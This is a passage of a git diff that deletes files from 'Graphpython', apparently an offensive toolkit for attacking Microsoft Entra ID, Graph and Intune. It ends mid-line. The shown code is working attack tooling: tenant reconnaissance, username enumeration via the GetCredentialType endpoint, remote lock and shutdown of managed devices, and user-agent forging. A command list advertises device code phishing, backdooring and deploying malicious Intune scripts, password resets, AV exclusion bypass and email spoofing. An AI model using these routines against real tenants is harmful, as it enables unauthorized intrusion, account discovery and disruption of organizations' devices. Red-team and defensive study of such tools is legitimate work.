} - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device lock initiated successfully") - else: - print_red(f"[-] Failed to initiate device lock: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# shutdown-device -def shutdown_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Shutdown-Device command") - return - - print_yellow("[*] Shutdown-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device shutdown initiated successfully") - else: - print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# add more from -# https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta \ No newline at end of file diff --git a/graphpython/commands/locators.py b/graphpython/commands/locators.py deleted file mode 100644 index 13e3004..0000000 --- a/graphpython/commands/locators.py +++ /dev/null @@ -1,180 +0,0 @@ -import requests -import os -from bs4 import BeautifulSoup -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token - -############ -# Locators # -############ - -def locate_objectid(args): - if not args.id: - print_red("[-] Error: --id required for Locate-ObjectID command") - return - - print_yellow("[*] Locate-ObjectID") - print("=" * 80) - graph_api_url = f"https://graph.microsoft.com/v1.0/directoryObjects/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - try: - response = requests.get(graph_api_url, headers=headers) - response.raise_for_status() - object_data = response.json() - object_type = object_data.get('@odata.type', '').split('.')[-1] - - print_green(f"Object Type: {object_type}") - print(f"ID: {object_data.get('id', 'N/A')}") - print(f"Display Name: {object_data.get('displayName', 'N/A')}") - - if object_type == 'user': - print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}") - print(f"Mail: {object_data.get('mail', 'N/A')}") - print(f"Job Title: {object_data.get('jobTitle', 'N/A')}") - print(f"Department: {object_data.get('department', 'N/A')}") - print(f"Office Location: {object_data.get('officeLocation', 'N/A')}") - print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}") - print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}") - print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}") - elif object_type == 'group': - print(f"Mail: {object_data.get('mail', 'N/A')}") - print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}") - print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}") - print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}") - print(f"Visibility: {object_data.get('visibility', 'N/A')}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - print(f"Description: {object_data.get('description', 'N/A')}") - print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}") - print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}") - elif object_type == 'servicePrincipal': - print(f"App ID: {object_data.get('appId', 'N/A')}") - print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}") - print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}") - print(f"Homepage: {object_data.get('homepage', 'N/A')}") - print(f"Login URL: {object_data.get('loginUrl', 'N/A')}") - print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}") - print(f"App Roles Count: {len(object_data.get('appRoles', []))}") - print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}") - print(f"Tags: {', '.join(object_data.get('tags', []))}") - print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") - elif object_type == 'application': - print(f"App ID: {object_data.get('appId', 'N/A')}") - print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}") - print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}") - print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}") - print(f"App Roles Count: {len(object_data.get('appRoles', []))}") - print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}") - print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - elif object_type == 'device': - print(f"Device ID: {object_data.get('deviceId', 'N/A')}") - print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}") - print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}") - print(f"Trust Type: {object_data.get('trustType', 'N/A')}") - print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}") - print(f"Compliance State: {object_data.get('complianceState', 'N/A')}") - print(f"Is Managed: {object_data.get('isManaged', 'N/A')}") - print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}") - print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}") - - except requests.exceptions.HTTPError as e: - if e.response.status_code == 404: - print_red(f"[-] Object with ID {args.id} not found") - else: - print_red(f"[-] An error occurred while retrieving object details: {str(e)}") - except requests.exceptions.RequestException as e: - print_red(f"[-] An error occurred while making the request: {str(e)}") - - print("=" * 80) - -def locate_permissionid(args): - if not args.id: - print_red("[-] Error: --id argument is required for Locate-PermissionID command") - return - - print_yellow("[*] Locate-PermissionID") - print("=" * 80) - - def parse_html(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - - for h3 in soup.find_all('h3'): - title = h3.text - table = h3.find_next('table') - headers = [th.text for th in table.find('thead').find_all('th')] - rows = table.find('tbody').find_all('tr') - - permission_data = {} - for row in rows: - cells = row.find_all('td') - category = cells[0].text - application = cells[1].text - delegated = cells[2].text - permission_data[category] = { - headers[1]: application, - headers[2]: delegated - } - permissions[title] = permission_data - - return permissions - - def highlight(text, should_highlight): - if should_highlight: - return f"\033[92m{text}\033[0m" - return text - - def print_permission(permission, data, app_ids, delegated_ids): - print_green(f"{permission}") - for category, values in data.items(): - print(f" {category}:") - app_highlight = data['Identifier']['Application'] in app_ids - delegated_highlight = data['Identifier']['Delegated'] in delegated_ids - print(f" Application: {highlight(values['Application'], app_highlight)}") - print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}") - print() - - identifiers = args.id.split(',') - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"[-] The file {file_path} does not exist.") - print("=" * 80) - return - except Exception as e: - print_red(f"[-] An error occurred: {e}") - print("=" * 80) - return - - permissions = parse_html(content) - app_ids = [] - delegated_ids = [] - - for permission, data in permissions.items(): - if data['Identifier']['Application'] in identifiers: - app_ids.append(data['Identifier']['Application']) - if data['Identifier']['Delegated'] in identifiers: - delegated_ids.append(data['Identifier']['Delegated']) - - found_permissions = False - - for permission, data in permissions.items(): - if data['Identifier']['Application'] in app_ids or data['Identifier']['Delegated'] in delegated_ids: - print_permission(permission, data, app_ids, delegated_ids) - found_permissions = True - - if not found_permissions: - print_red("[-] Permission ID not found") - - print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/outsider.py b/graphpython/commands/outsider.py deleted file mode 100644 index eb228c0..0000000 --- a/graphpython/commands/outsider.py +++ /dev/null @@ -1,255 +0,0 @@ -import requests -from tqdm import tqdm -import dns.resolver -import os -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from Graphpython.utils.helpers import get_tenant_domains - -############ -# Outsider # -############ - -def invoke_reconasoutsider(args): - if not args.domain: - print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command") - return - - print_yellow("[*] Invoke-ReconAsOutsider") - print("=" * 80) - domain = args.domain - # get tenant id - tenant_id = "" - try: - response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") - if response.status_code == 200: - tenant_id = response.json().get('token_endpoint', '').split('/')[3] - except: - print_red("[-] Failed to retrieve tenant ID") - if not tenant_id: - print_red(f"[-] Domain {domain} is not registered to Azure AD") - print("=" * 80) - return - tenant_name = "" - tenant_brand = "" - tenant_region = "" - tenant_sso = "" - # tenant info - try: - response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") - if response.status_code == 200: - data = response.json() - tenant_region = data.get('tenant_region_scope', "Unknown") - except: - print_red("[-] Failed to retrieve tenant info") - - additional_domains = get_tenant_domains(domain) - additional_domains_count = len(additional_domains) - print(f"Domains: {additional_domains_count}") - domain_information = [] - # show progress bar - custom_bar = '╢{bar:50}╟' - for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): - if domain.lower().endswith('.onmicrosoft.com') and not tenant_name: - tenant_name = domain - # desktop sso - if not tenant_sso: - try: - url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}" - response = requests.get(url) - tenant_sso = response.status_code == 401 - except: - pass - # DNS checks - exists = False - has_cloud_mx = False - has_cloud_spf = False - has_dmarc = False - has_cloud_dkim = False - has_cloud_mta_sts = False - try: - dns.resolver.resolve(domain) - exists = True - except: - pass - if exists: - try: - mx_records = dns.resolver.resolve(domain, 'MX') - has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records) - except: - pass - try: - txt_records = dns.resolver.resolve(domain, 'TXT') - has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records) - except: - pass - try: - dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') - has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records) - except: - pass - try: - selectors = ["selector1", "selector2"] - for selector in selectors: - dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME') - has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records) - if has_cloud_dkim: - break - except: - pass - try: - url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" - mta_sts_response = requests.get(url) - if mta_sts_response.status_code == 200: - mta_sts_content = mta_sts_response.text - mta_sts_lines = mta_sts_content.split("\n") - has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines) - except: - pass - # federation info - user_realm = {} - try: - username = f"nn@{domain}" - response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}") - if response.status_code == 200: - user_realm = response.json() - except: - print_red("[-] Failed to retrieve user realm information") # pass - - if not tenant_brand: - tenant_brand = user_realm.get("FederationBrandName", "") - - auth_url = user_realm.get("AuthURL") - - if auth_url: - auth_url = auth_url.split('?')[0] - - domain_info = { - "Name": domain, - "DNS": exists, - "MX": has_cloud_mx, - "SPF": has_cloud_spf, - "DMARC": has_dmarc, - "DKIM": has_cloud_dkim, - "MTA-STS": has_cloud_mta_sts, - "Type": user_realm.get("NameSpaceType", "Unknown"), - "STS": auth_url - } - - domain_information.append(domain_info) - - print(f"Tenant brand: {tenant_brand}") - print(f"Tenant name: {tenant_name}") - print(f"Tenant id: {tenant_id}") - print(f"Tenant region: {tenant_region}") - - if tenant_sso is not None: - print(f"DesktopSSO enabled: {tenant_sso}") - if tenant_name: - # check MDI instance - tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name - mdi_domains = [ - f"{tenant}.atp.azure.com", - f"{tenant}-onmicrosoft-com.atp.azure.com" - ] - tenant_mdi = None - for mdi_domain in mdi_domains: - try: - dns.resolver.resolve(mdi_domain) - tenant_mdi = mdi_domain - break - except dns.resolver.NXDOMAIN: - continue - except Exception as e: - print(f"An error occurred while resolving {mdi_domain}: {str(e)}") - if tenant_mdi: - print(f"MDI instance: {tenant_mdi}") - else: - print("MDI instance: Not found") - - # check cloud sync - if tenant_name: - sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}" - exists = None - try: - url = "https://login.microsoftonline.com/common/GetCredentialType" - data = { - "username": sync_service_account, - "isOtherIdpSupported": True, - "checkPhones": False, - "isRemoteNGCSupported": True, - "isCookieBannerShown": False, - "isFidoSupported": True, - "originalRequest": "", - "country": "US", - "forceotclogin": False, - "isExternalFederationDisallowed": False, - "isRemoteConnectSupported": False, - "federationFlags": 0, - "isSignup": False, - "flowToken": "", - "isAccessPassSupported": True - } - response = requests.post(url, json=data) - if response.status_code == 200: - result = response.json() - exists = result.get('IfExistsResult', 0) == 0 - except: - pass - - uses_cloud_sync = exists - print(f"Uses cloud sync: {uses_cloud_sync}") - - print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS") - print("---- --- --- ---- ----- ---- ------- ---- ---") - for domain_info in domain_information: - print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}") - print("=" * 80) - - -def invoke_userenumerationasoutsider(args): - if not args.username: - print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command") - return - - print_yellow("[*] Invoke-UserEnumerationAsOutsider") - print("=" * 80) - usernames = [] - if os.path.isfile(args.username): - with open(args.username, 'r') as file: - usernames = [line.strip() for line in file if line.strip()] - else: - usernames = [args.username] - - for username in usernames: - exists = None - try: - url = "https://login.microsoftonline.com/common/GetCredentialType" - data = { - "username": username, - "isOtherIdpSupported": True, - "checkPhones": False, - "isRemoteNGCSupported": True, - "isCookieBannerShown": False, - "isFidoSupported": True, - "originalRequest": "", - "country": "US", - "forceotclogin": False, - "isExternalFederationDisallowed": False, - "isRemoteConnectSupported": False, - "federationFlags": 0, - "isSignup": False, - "flowToken": "", - "isAccessPassSupported": True - } - response = requests.post(url, json=data) - if response.status_code == 200: - result = response.json() - exists = result.get('IfExistsResult', 0) == 0 - except: - pass - - if exists: - print_green(f"[+] {username:<16}")# : {exists}") - else: - print_red(f"[-] {username:<16}")# : {exists}") - print("=" * 80) \ No newline at end of file diff --git a/graphpython/utils/__init__.py b/graphpython/utils/__init__.py deleted file mode 100644 index 1321f68..0000000 --- a/graphpython/utils/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# chama \ No newline at end of file diff --git a/graphpython/utils/helpers.py b/graphpython/utils/helpers.py deleted file mode 100644 index 3449a68..0000000 --- a/graphpython/utils/helpers.py +++ /dev/null @@ -1,606 +0,0 @@ -import requests -import json -import os -import re -import base64 -from tabulate import tabulate -from datetime import datetime, timedelta -import uuid -import xml.etree.ElementTree as ET -from termcolor import colored - -def print_yellow(message): - print(f"\033[93m{message}\033[0m") - -def print_green(message): - print(f"\033[92m{message}\033[0m") - -def print_red(message): - print(f"\033[91m{message}\033[0m") - -def list_commands(): - outsider_commands = [ - ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"], - ["Invoke-UserEnumerationAsOutsider", "Checks whether the user exists within Azure AD"] - ] - - auth_commands = [ - ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"], - ["Get-TenantID", "Get tenant ID for target domain"], - ["Get-TokenScope", "Get scope of supplied token"], - ["Decode-AccessToken", "Get all token payload attributes"], - ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"], - ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"], - ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"], - ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"], - ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"], - ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"], - ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"], - ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"], - ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"], - ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"], - ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"], - ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"], - ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"], - ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"], - ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"], - ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"] - ] - - post_authenum_commands = [ - ["Get-CurrentUser", "Get current user profile"], - ["Get-CurrentUserActivities", "Get recent activity and actions of current user"], - ["Get-OrgInfo", "Get information relating to the target organisation"], - ["Get-Domains", "Get domain objects"], - ["Get-User", "Get all users (default) or target user (--id)"], - ["Get-UserProperties", "Get current user properties (default) or target user (--id)"], - ["Get-UserPrivileges", "Get group/AU memberships and directory roles assigned for current user (default) or target user (--id)"], - ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"], - ["Get-Group", "Get all groups (default) or target group (-id)"], - ["Get-GroupMember", "Get all members of target group"], - ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"], - ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"], - ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"], - ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"], - ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"], - ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"], - ["Get-PersonalContacts", "Get contacts of the current user"], - ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"], - ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"], - ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"], - ["Get-AdministrativeUnitMember", "Get members of administrative unit"], - ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"], - ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"], - ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"], - ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"], - ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"], - ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"], - ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"], - ["List-DirectoryRoles", "List all directory roles activated in the tenant"], - ["List-Notebooks", "List current user notebooks (default) or target user (--id)"], - ["List-ConditionalAccessPolicies", "List conditional access policy objects"], - ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"], - ["List-ConditionalNamedLocations", "List conditional access named locations"], - ["List-SharePointRoot", "List root SharePoint site properties"], - ["List-SharePointSites", "List any available SharePoint sites"], - ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"], - ["List-ExternalConnections", "List external connections"], - ["List-Applications", "List all Azure Applications"], - ["List-ServicePrincipals", "List all service principals"], - ["List-Tenants", "List tenants"], - ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"], - ["List-Chats", "List chats for current user (default) or target user (--id)"], - ["List-ChatMessages", "List messages in target chat (--id)"], - ["List-Devices", "List devices"], - ["List-AdministrativeUnits", "List administrative units"], - ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"], - ["List-RecentOneDriveFiles", "List current user recent OneDrive files"], - ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"], - ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"] - ] - - post_authexploit_commands = [ - ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"], - ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"], - ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"], - ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"], - ["Find-UpdatableGroups", "Find groups which can be updated by the current user"], - ["Find-SecurityGroups", "Find security groups and group members"], - ["Find-DynamicGroups", "Find groups with dynamic membership rules"], - ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"], - ["Update-UserProperties", "Update the user properties of the target user"], - ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"], - ["Add-GroupMember", "Add member to target group"], - ["Add-ApplicationPassword", "Add client secret to target application"], - ["Add-ApplicationCertificate", "Add client certificate to target application"], - ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"], - ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"], - ["Create-Application", "Create new enterprise application with default settings"], - ["Create-NewUser", "Create new Entra ID user"], - ["Invite-GuestUser", "Invite guest user to Entra ID"], - ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"], - ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"], - ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"], - ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"] - ] - - intune_enum = [ - ["Get-ManagedDevices", "Get managed devices"], - ["Get-UserDevices", "Get user devices"], - ["Get-CAPs", "Get conditional access policies"], - ["Get-DeviceCategories", "Get device categories"], - ["Get-DeviceComplianceSummary", "Get device compliance summary"], - ["Get-DeviceConfigurations", "Get device configurations"], - ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"], - ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"], - ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"], - ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"], - ["Get-RoleDefinitions", "Get role definitions"], - ["Get-RoleAssignments", "Get role assignments"], - ["Get-DeviceCompliancePolicies", "Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.)"], - ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.)"] - ] - - intune_exploit = [ - ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"], - ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"], - ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"], - ["Dump-macOSApps", "Dump managed macOS applications"], - ["Dump-AndroidApps", "Dump managed Android mobile applications"], - ["Get-ScriptContent", "Get device management script content"], - ["Backdoor-Script", "Add malicious code to pre-existing device management script"], - ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"], - ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"], - ["Display-AVPolicyRules", "Display antivirus policy rules"], - ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"], - ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"], - ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"], - ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"], - ["Display-EDRPolicyRules", "Display EDR policy rules"], - ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"], - ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], - ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], - ["Reboot-Device", "Reboot managed device"], - ["Retire-Device", "Retire managed device"], - ["Lock-Device", "Lock managed device"], - ["Shutdown-Device", "Shutdown managed device"], - ["Update-DeviceConfig", "Update properties of the managed device configuration"] - ] - - cleanup_commands = [ - ["Delete-User", "Delete a user"], - ["Delete-Group", "Delete a group"], - ["Remove-GroupMember", "Remove user from a group"], - ["Delete-Application", "Delete an application"], - ["Delete-Device", "Delete managed device"], - ["Wipe-Device", "Wipe managed device"], - ] - - locator_commands = [ - ["Locate-ObjectID", "Locate object ID and display object properties"], - ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required, ...) for ID"] - ] - - print("Outsider") - print("=" * 80) - print(tabulate(outsider_commands, tablefmt="plain")) - - print("\nAuthentication") - print("=" * 80) - print(tabulate(auth_commands, tablefmt="plain")) - - print("\nPost-Auth Enumeration") - print("=" * 80) - print(tabulate(post_authenum_commands, tablefmt="plain")) - - print("\nPost-Auth Exploitation") - print("=" * 80) - print(tabulate(post_authexploit_commands, tablefmt="plain")) - - print("\nPost-Auth Intune Enumeration") - print("=" * 80) - print(tabulate(intune_enum, tablefmt="plain")) - - print("\nPost-Auth Intune Exploitation") - print("=" * 80) - print(tabulate(intune_exploit, tablefmt="plain")) - - print("\nCleanup") - print("=" * 80) - print(tabulate(cleanup_commands, tablefmt="plain")) - - print("\nLocators") - print("=" * 80) - print(tabulate(locator_commands, tablefmt="plain")) - print("\n") - -def forge_user_agent(device=None, browser=None): - - user_agent = '' - - if device == 'Mac': - if browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - else: - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - - elif device == 'Windows': - if browser == 'IE': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - else: - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - - elif device == 'AndroidMobile': - if browser == 'Android': - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057' - else: - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - - elif device == 'iPhone': - if browser == 'Chrome': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' - else: - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' - - else: - if browser == 'Android': - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - elif browser == 